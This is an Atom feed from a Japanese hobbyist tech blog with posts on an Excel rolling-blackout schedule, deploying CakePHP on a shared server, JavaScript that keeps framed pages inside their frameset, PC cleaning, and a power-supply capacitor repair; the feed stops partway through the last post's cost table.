<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
   <title>にんにくルーム</title>
   <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/" />
   <link rel="self" type="application/atom+xml" href="http://koubou.nin29.com/heya/atom.xml" />
   <id>tag:koubou.nin29.com,2011:/heya//4</id>
   <updated>2011-03-25T12:23:37Z</updated>
   <subtitle>IT工房にんにく庵の別部屋です。技術的なことに関して思うことをつづりたいと思います。</subtitle>


<entry>
	<title>Excel版週間計画停電表</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2011/03/excel_keikaku_teidenphp.php" />
	<id>tag:koubou.nin29.com,2011:/heya//4.289</id>
	 
	<published>2011-03-19T09:32:54Z</published>
	 <updated>2011-03-25T12:23:37Z</updated>
   
	 <summary> 東京電力の計画停電のpdfファイルは、使う人の立場にたって作られていないような気がします。 毎日掲示する必要があったため、Excelで作成しました。下の画像の...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="DTP" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>
東京電力の計画停電のpdfファイルは、使う人の立場にたって作られていないような気がします。
</p>
<p>
毎日掲示する必要があったため、Excelで作成しました。下の画像のような感じです。
</p>
<p>
ご自由にダウンロードしてお使いください。編集も自由にしてもらって結構です。
</p>
<p>
&nbsp;
</p>
<p>
色の変更は、オートシェイプの塗りつぶし設定です。グリッドに吸着する設定にしてあります。
</p>
<p>
微妙に動かしたい場合は、解除してください。
</p>
<p>
甲府は、グループ4ですので、このグループのみ色づけしてあります。東電のは、停電時間帯が分かりにくいため、より見やすく作っておきました。
</p>
<p>
&nbsp;
</p>
<p>
&nbsp;
</p>
<div style="text-align: center">
<a href="/pics/heya/2011/keikaku_teiden.xls" target="_blank" title="excel版計画停電">
<img src="/pics/heya/2011/keikaku_teiden.png" alt="Excel版計画停電表" title="Excel 計画停電" width="300" height="257" />
</a><br />
<a href="/pics/heya/2011/keikaku_teiden.xls" target="_blank" title="Excel版計画停電表">Excel版計画停電表 ダウンロード</a>
</div>
<p>
&nbsp;
</p>
<p>
入力フォームに必要項目を入力すると自動生成してくれるものも作成しました。
</p>
<div style="text-align: center">
<a href="/pics/heya/2011/keikaku_teiden2.xls" target="_blank" title="エクセル版週間計画停電表">
<img src="/pics/heya/2011/keikaku_teiden2.png" alt="エクセル版週間計画停電表" title="エクセル版週間計画停電表" width="300" height="257" />
</a>
</div>
<p align="center">
<a href="/pics/heya/2011/keikaku_teiden2.xls" target="_blank" title="エクセル版週間計画停電表">エクセル版週間計画停電表 ダウンロード</a>
</p>
]]>
		
	</content>
</entry>

<entry>
	<title>cpiサーバにCakePHPを設置する</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2010/09/cpicakephp.php" />
	<id>tag:koubou.nin29.com,2010:/heya//4.268</id>
	 
	<published>2010-09-25T02:25:15Z</published>
	 <updated>2010-09-25T02:25:56Z</updated>
   
	 <summary> cpiの共用サーバ(シェアードプラン G2)にCakePHPにて作成したWebアプリケーションを設置したときの備忘録です。cpiの共用サーバは、MySQLが使...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="CakePHP" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[
<p>cpiの共用サーバ(シェアードプラン G2)にCakePHPにて作成したWebアプリケーションを設置したときの備忘録です。cpiの共用サーバは、MySQLが使用できるのですが、文字コードがeuc固定とのことで、CakePHPの標準文字コードutf8とは異なっていました。また、.htaccessもcpiサーバ用に多少カストマイズしなければなりません。</p>
<p>以下テスト環境からcpiサーバへ移行する場合の変更個所です。</p>
<p>１．app/config/core.php</p>
<p class="s1"> Configure::write('App.encoding', 'UTF-8');<br />
				　　　↓<br />
				Configure::write('App.encoding', 'euc-jp');</p>
<p>２．app/config/database.php</p>
<p class="s1">class DATABASE_CONFIG {<br />
				&nbsp;var $default = array(<br />
&nbsp;&nbsp;'driver' =&gt; 'mysql',<br />
								&nbsp;&nbsp;'persistent' =&gt; false,<br />
												&nbsp;&nbsp;'host' =&gt; 'localhost',<br />
																&nbsp;&nbsp;'login' =&gt; 'ログイン名',<br />
&nbsp;&nbsp;'password' =&gt; 'パスワード',<br />
&nbsp;&nbsp;'database' =&gt; 'データベース名',<br />
&nbsp;&nbsp;'prefix' =&gt; 'プレフィックス',<br />
&nbsp;);</p>
<p class="s2">※ログイン名とデータベース名は、コントロールパネルにログインするために使うのと同じです。</p>
<p class="s2">※パスワードは、コントロールパネルにログインするときの初期パスワードですので、その後変更している場合は、変更前のものです。</p>
<p class="s2">※プレフィックスは、データベースを他のアプリケーションと共用する場合もあるかと思いますので、適当な文字を入れておきます。例) cakeApp1_</p>
<p>３．.htaccess</p>
<p class="s1">AddHandler x-httpd-php524 .php<br />
				Options +FollowSymLinks<br />
				RewriteEngine on<br />
				RewriteBase /~g123456/<br />
				RewriteRule ^$ app/webroot/ [L]<br />
				RewriteRule (.*) app/webroot/$1 [L]</p>
<p class="s2">※RewriteBaseの記述は、ユーザに応じて書き換えてください。</p>
<p>４．app/.htaccess</p>
<p class="s1"> Options +FollowSymLinks<br />
				RewriteEngine on<br />
				RewriteRule ^$ webroot/ [L]<br />
				RewriteRule (.*) webroot/$1 [L]</p>
<p>５．												app/webroot/.htaccess</p>
<p class="s1">Options +FollowSymLinks<br />
				RewriteEngine On<br />
				RewriteBase /~g123456/app/webroot/<br />
				RewriteCond %{REQUEST_FILENAME} !-d<br />
				RewriteCond %{REQUEST_FILENAME} !-f<br />
				RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]</p>
<p class="s1">※RewriteBaseの記述は、ユーザに応じて書き換えてください。</p>
<p>６．2バイト文字を使用しているファイルをeucに変換する。</p>
<p>以上の変更で、問題なく動きました。なお、コントローラ内で文字コード特有の処理をしている場合、その辺も修正する必要があります。</p>
]]>
		
	</content>
</entry>

<entry>
	<title>フレーム内のhtmlファイルが表示されるとき、親フレームを強制的に表示させる</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2010/05/html.php" />
	<id>tag:koubou.nin29.com,2010:/heya//4.255</id>
	 
	<published>2010-05-15T11:20:24Z</published>
	 <updated>2010-05-15T11:28:40Z</updated>
   
	 <summary>フレームを使ったホームページ構成は、検索エンジンとの相性が良くないため、ホームページ制作する場合は、極力使わないようにしています。他サイトからのリンクもトップペ...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="ホームページ" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>フレームを使ったホームページ構成は、検索エンジンとの相性が良くないため、ホームページ制作する場合は、極力使わないようにしています。他サイトからのリンクもトップページに張ってもらわなければならず、有用な情報への直リンクがしにくくなります。</p>
<p>Googleなどで、”<a href="http://www.google.com/search?hl=ja&amp;lr=lang_ja&amp;ie=UTF-8&amp;oe=UTF-8&amp;q=フレーム+SEO&amp;num=50" target="_blank">フレーム SEO</a>”などのキーワードで検索すると、上位に理由が書かれた解説ページがヒットしますので、興味のある方は、しらみつぶしに読んでみてください。</p>
<p>どうしてもフレームを使わないとならない場合の対策方法も上記のページに書かれています。フレーム内の素のhtmlファイルが表示されそうになったら、強制的に親フレームを表示させるようにjavascriptでプログラミングします。</p>
<p>&nbsp;</p>
<h3>通常のフレームページ例です。フレームを左右に分割してあります。</h3>
<p><a href="/pics/heya/frame/index.html" target="_blank"><img src="/pics/heya/frame/frame1.gif" alt="通常のフレームページ例" width="300" height="239" /></a></p>
<p>右サイドのコンテンツ１を新規で開くをクリックすると、main1.htmlが表示されます。</p>
<p><img src="/pics/heya/frame/frame2.gif" alt="通常のフレームページ例" width="377" height="220" /></p>
<p><img src="/pics/heya/frame/frame3.gif" alt="通常のフレームページ例" width="300" height="239" /></p>
<h4>各フレームページのソース</h4>
<p class="style13">index.html（フレームの枠になります）</p>
<pre class="style14">
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Frameset//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
				&lt;title&gt;フレーム本体&lt;/title&gt;
	&lt;/head&gt;
	&lt;frameset rows=&quot;*&quot; cols=&quot;20%,*&quot;&gt;
		&lt;frame src=&quot;left.html&quot; name=&quot;leftFrame&quot; /&gt;
		&lt;frame src=&quot;main1.html&quot; name=&quot;mainFrame&quot; /&gt;
&lt;/frameset&gt;
	&lt;noframes&gt;
		&lt;body&gt;
			このブラウザーは、フレームがサポートされていません。
		&lt;/body&gt;
	&lt;/noframes&gt;
&lt;/html&gt;
</pre>
<p class="style13">left.html（左サイドのソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;left.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;ul&gt;
			&lt;li&gt;&lt;a href=&quot;main1.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ１&lt;/a&gt;&lt;/li&gt;
			&lt;li&gt;&lt;a href=&quot;main2.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ２&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main1.html（右サイドのコンテンツ１のソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main1.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ１&lt;/p&gt;
		&lt;a href=&quot;main1.html&quot; target=&quot;_blank&quot;&gt;コンテンツ１を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;</pre>
<p class="style13">main2.html（右サイドのコンテンツ２のソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main2.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ２&lt;/p&gt;
		&lt;a href=&quot;main2.html&quot; target=&quot;_blank&quot;&gt;コンテンツ２を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;</pre>
<p>&nbsp;</p>
<h3>つぎに強制的にフレームページを表示させるようにしたしたものです。</h3>
<p><a href="/pics/heya/frame2/index.html" target="_blank"><img src="/pics/heya/frame2/frame1.gif" alt="強制的にフレームページを表示させるようにした例" width="300" height="239" /></a></p>
<p>右サイドの”コンテンツ１を新規で開く”をクリックすると、先ほどとは違いフレームページが開かれます。</p>
<p><img src="/pics/heya/frame2/frame2.gif" alt="強制的にフレームページを表示させるようにした例" width="377" height="220" /></p>
<p><img src="/pics/heya/frame2/frame3.gif" alt="強制的にフレームページを表示させるようにした例" width="300" height="239" /></p>
<p>左サイドでコンテンツ２を表示状態で”コンテンツ２を新規で開く”をクリックした場合も、フレームページが表示され、右サイドには、コンテンツ２が表示されます。</p>
<p>ただし、Internet ExplorerのVersion 6、7、8などは、コンテンツ２が表示されず、コンテンツ１が表示されます。</p>
<p>これは、location.hrefでページ移動した場合、document.referrerプロパティの値が空のため、元ページが分からないためです。IEの仕様ですのでどうすることもできません。FireFoxやSafariは、正しく機能します。</p>
<p>ポイントは、各コンテンツのページに親フレームが存在しないときは、locationで親フレームに移動します。親フレームのページ（index.html）には、コンテンツから移動してきた場合、コンテンツをmainFrameに表示させるようにscriptで変更させます。</p>
<p>コンテンツ３(main3.html）は、bodyタグのonLoadイベントに記述した例で、条件判定の方法は異なりますが、やはり、親フレームが存在しないときは、親フレームへ移動するようになっています。</p>
<p></p>
<h4>各フレームページのソース</h4>
<p class="style13">index.html（フレームの枠になります）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Frameset//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;フレーム本体&lt;/title&gt;
		&lt;script language=&quot;JavaScript&quot;&gt;
			&lt;!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame2/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) &gt; -1){
						var file = prevPage.substr(url.length);
						if(file != 'left.html'){
							parent.mainFrame.location.href = file;
						}
					}
				}
			}
			// --&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;frameset rows=&quot;*&quot; cols=&quot;20%,*&quot; onLoad=&quot;ChanePage()&quot;&gt;
		&lt;frame src=&quot;left.html&quot; name=&quot;leftFrame&quot; /&gt;
		&lt;frame src=&quot;main1.html&quot; name=&quot;mainFrame&quot; /&gt;
	&lt;/frameset&gt;
	&lt;noframes&gt;
		&lt;body&gt;
			このブラウザーは、フレームがサポートされていません。
		&lt;/body&gt;
	&lt;/noframes&gt;
&lt;/html&gt;
</pre>
<p class="style13">left.html（左サイドのソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;left.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;ul&gt;
			&lt;li&gt;&lt;a href=&quot;main1.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ１&lt;/a&gt;&lt;/li&gt;
			&lt;li&gt;&lt;a href=&quot;main2.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ２&lt;/a&gt;&lt;/li&gt;
			&lt;li&gt;&lt;a href=&quot;main3.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ３&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main1.html（右サイドのコンテンツ１のソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main1.html&lt;/title&gt;
		&lt;script type=&quot;text/javascript&quot;&gt;
			&lt;!--//
				if(window.parent &amp;&amp; window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href=&quot;index.html&quot;;
					}
				}
			//--&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ１&lt;/p&gt;
		&lt;a href=&quot;main1.html&quot; target=&quot;_blank&quot;&gt;コンテンツ１を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main2.html（右サイドのコンテンツ２のソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main2.html&lt;/title&gt;
		&lt;script type=&quot;text/javascript&quot;&gt;
			&lt;!--//
				if(window.parent &amp;&amp; window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href=&quot;index.html&quot;;
					}
				}
			//--&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ２&lt;/p&gt;
		&lt;a href=&quot;main2.html&quot; target=&quot;_blank&quot;&gt;コンテンツ２を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main3.html（右サイドのコンテンツ３のソース）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main3.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body onLoad=&quot;if (parent.frames.length==0) top.location='index.html'&quot;&gt;
		&lt;p&gt;コンテンツ３&lt;/p&gt;
		&lt;a href=&quot;main3.html&quot; target=&quot;_blank&quot;&gt;コンテンツ３を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>&nbsp;</p>
<h3>インラインフレームの場合</h3>
<p>インラインフレームも同様の方法で、iframe内のソース部分のみが表示されてしまうのを防ぐことができます。</p>
<p><a href="/pics/heya/frame3/index.html" target="_blank"><img src="/pics/heya/frame3/frame1.gif" alt="インラインフレームの場合" width="300" height="279" /></a></p>
<p><img src="/pics/heya/frame3/frame2.gif" alt="インラインフレームの場合" width="300" height="300" /></p>
<p>&nbsp;</p>
<h4>各フレームページのソース</h4>
<p class="style13">index.html(メインページになります)</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Frameset//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;インラインフレーム本体&lt;/title&gt;
		&lt;script language=&quot;JavaScript&quot;&gt;
			&lt;!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame3/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) &gt; -1){
						var file = prevPage.substr(url.length);
						parent.mainFrame.location.href = file;
					}
				}
			}
			// --&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body onLoad=&quot;ChanePage()&quot;&gt;
		&lt;ul&gt;
			&lt;li&gt;&lt;a href=&quot;main1.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ１&lt;/a&gt;&lt;/li&gt;
			&lt;li&gt;&lt;a href=&quot;main2.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ２&lt;/a&gt;&lt;/li&gt;
			&lt;li&gt;&lt;a href=&quot;main3.html&quot; target=&quot;mainFrame&quot;&gt;コンテンツ３&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;iframe src=&quot;main1.html&quot; name=&quot;mainFrame&quot; width=&quot;100%&quot;&gt;&lt;/iframe&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main1.html（コンテンツ１）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main1.html&lt;/title&gt;
		&lt;script type=&quot;text/javascript&quot;&gt;
			&lt;!--//
				if(window.parent &amp;&amp; window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href=&quot;index.html&quot;;
					}
				}
			//--&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ１&lt;/p&gt;
		&lt;a href=&quot;main1.html&quot; target=&quot;_blank&quot;&gt;コンテンツ１を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main2.html（コンテンツ２）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main2.html&lt;/title&gt;
		&lt;script type=&quot;text/javascript&quot;&gt;
			&lt;!--//
				if(window.parent &amp;&amp; window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href=&quot;index.html&quot;;
					}
				}
			//--&gt;
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;p&gt;コンテンツ２&lt;/p&gt;
		&lt;a href=&quot;main2.html&quot; target=&quot;_blank&quot;&gt;コンテンツ２を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
<p class="style13">main3.html（コンテンツ３）</p>
<pre class="style14">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=shift_jis&quot; /&gt;
		&lt;title&gt;main3.html&lt;/title&gt;
	&lt;/head&gt;
	&lt;body onLoad=&quot;if (parent.frames.length==0) top.location='index.html'&quot;&gt;
		&lt;p&gt;コンテンツ３&lt;/p&gt;
		&lt;a href=&quot;main3.html&quot; target=&quot;_blank&quot;&gt;コンテンツ３を新規で開く&lt;/a&gt;
	&lt;/body&gt;
&lt;/html&gt;
</pre>
]]>
		
	</content>
</entry>

<entry>
	<title>パソコンの掃除方法</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2010/03/cleaning_pcphp.php" />
	<id>tag:koubou.nin29.com,2010:/heya//4.244</id>
	 
	<published>2010-03-21T02:01:25Z</published>
	 <updated>2010-03-21T02:08:49Z</updated>
   
	 <summary>ディスクトップパソコンの掃除方法を良く聞かれますので、説明したいと思います。 日常の手入れは、空気の吸い込み口を掃除機で吸ってあげる程度でいいと思います。キーボ...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>ディスクトップパソコンの掃除方法を良く聞かれますので、説明したいと思います。</p>
<p>日常の手入れは、空気の吸い込み口を掃除機で吸ってあげる程度でいいと思います。キーボードは、ブラシ付きの掃除機でキーの隙間のゴミを吸ってあげて、キートップをウェットティッシュなどで拭きます。光学式マウスは、全体をウェットティッシュなどで拭いた後、受発光部をエアダスターで清掃します。ボール式マウスは、ボール部分を分解して、内部のローラに付いたゴミを爪楊枝や綿棒で清掃し、ボールをホコリのでないウェットティッシュで黒くならないまで拭くか、中性洗剤で洗ってよく乾かします。マウスパッドも汚れを拭き取っておきます。</p>
<p>たまにパソコン本体の中身を掃除したほうがいいでしょう。周期のほうは環境によるので何ともいえませんが、年1回～2年に1回くらいのペースでしょうか。</p>
<p>まずコネクター類を全て外します。USBやPS/2は、同じ形状のコネクタが2つ以上ある場合がありますので、札(タグ)などを付けて、差す位置が分かるようにしておきます。本体を取り出したら、側面のパネルをスライドさせて開けます。機種によって簡単なものから複雑なものまでありますので、どうしても開けられず断念してしまうかたもいらっしゃいます。ネットなどで”（機種型番） 分解”などのキーワードで検索すると、画像付きの説明ページがあったりしますので、参考にしてみて下さい。</p>
<p>側面パネルを開けた後は、屋外に持っていきます。掃除機、エアダスター、リストストラップ、アース線を用意します。</p>
<a href="/pics/heya/2010/IMGP3205.JPG" title="まともな工事なら、向かって左側の端子がアースです。" rel="lightbox"><img src="/pics/heya/2010/IMGP3205_thumb.JPG" alt="まともな工事なら、向かって左側の端子がアースです。" align="right" /></a>
<p>パソコン本体をアース線で接地し、リストストラップをつけて掃除機で吸いながら、エアダスターで、ホコリを飛ばします。CPUのヒートシンクは入念にホコリを除去します。</p>
<p>掃除機は、静電気の塊のような機械ですので、基盤に接触させないよう注意して下さい。写真のように先端部分をアルミ箔で包んでリストストラップで接地した手で握ってあげれば、かなり影響が少ないですが、接地しないで使うと、最悪LSIを壊してしまいます。普通に使えたとしても、LSIの素子にダメージを与えることになりますので、寿命が短くなってしまいます。</p>
<table width="100%" border="0" cellspacing="0" cellpadding="5">
				<tr>
								<td align="center"><a href="/pics/heya/2010/IMGP3204.JPG" title="クリーニング準備完了" rel="lightbox"><img src="/pics/heya/2010/IMGP3204_thumb.JPG" alt="クリーニング準備完了" width="200" height="133" /></a></td>
								<td align="center"><a href="/pics/heya/2010/IMGP3203.JPG" title="クリーニング中" rel="lightbox"><img src="/pics/heya/2010/IMGP3203_thumb.JPG" alt="クリーニング中" width="200" height="133" /></a></td>
				</tr>
</table>
<p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>NEC VALUSTAR VL700/6電源入らない</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2010/02/nec_valustar_vl7006.php" />
	<id>tag:koubou.nin29.com,2010:/heya//4.239</id>
	 
	<published>2010-02-02T00:00:00Z</published>
	 <updated>2010-02-02T00:11:07Z</updated>
   
	 <summary>NEC VALUESTAR VL700/6D(2003年5月販売)デスクトップパソコンが、2009年冬頃からたまに電源が入らないことがあり、今年1月ついに電源ボ...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>NEC VALUESTAR VL700/6D(2003年5月販売)デスクトップパソコンが、2009年冬頃からたまに電源が入らないことがあり、今年1月ついに電源ボタンを押してもうんともすんともいわなくなってしまいました。既に新しいパソコンに移行済みで、実害はなかったのですが、お子さんにあげたいので修理してほしいとのこと。</p>
<div class="right_thumb">
				<p><a href="/pics/heya/2010/IMGP3250.JPG" title="AcBel製、API2PC05電源ユニット" rel="lightbox"><img src="/pics/heya/2010/IMGP3250_thumb.JPG" alt="AcBel製、API2PC05電源ユニット" /></a><br />
								AcBel製、API2PC05電源ユニット</p>
				<p><a href="/pics/heya/2010/IMGP3230.JPG" title="パンクしたコンデンサ" rel="lightbox"><img src="/pics/heya/2010/IMGP3230_thumb.JPG" alt="パンクしたコンデンサ" width="200" height="133" /></a></p>
				<p>中央と左上の2個がパンクしています</p>
</div>
<p>保守用の電源と交換したところ、問題なく起動しましたので、電源ユニットの故障です。AcBel製、型番API2PC05、電源容量150w、NEC型番PU786B、NEC P/N 853-610090-001-Aとなっています。オークションで中古を調べると、P/N 853-610090-003-Aなどが売られていますので、改良前のrevisionと思われます。</p>
<p>電源単体でオンしてみると、5v、12v、3.3v、-12vとも正常に出力しています。ただし、5vスタンバイの電圧が少々低く、4.8v程しかありませんでした。</p>
<p>中を分解して目視チェックすると、2個ほどコンデンサ(1000μF 6.3v)が膨れていました。</p>
<p>交換して、電源を入れてみましたが、5vスタンバイは、4.8vのままでした。マザーボードに接続して、電源オンするも、駄目です。</p>
<p>再度電源ユニットを分解して、+5vスタンバイの配線を追っていき、1000μF 6.3vのコンデンサにたどり着きましたので、外してみると、根本から電解液が漏れだしていました。</p>
<p>コンデンサを交換したところ、電源も入り、8時間エージング運転も問題ありませんでした。</p>
<p>目視だけでは、コンデンサの不良を探せられなかった事例です。</p>
<table cellspacing="0" class="table1">
				<tr>
								<th scope="col">内容</th>
								<th scope="col">費用</th>
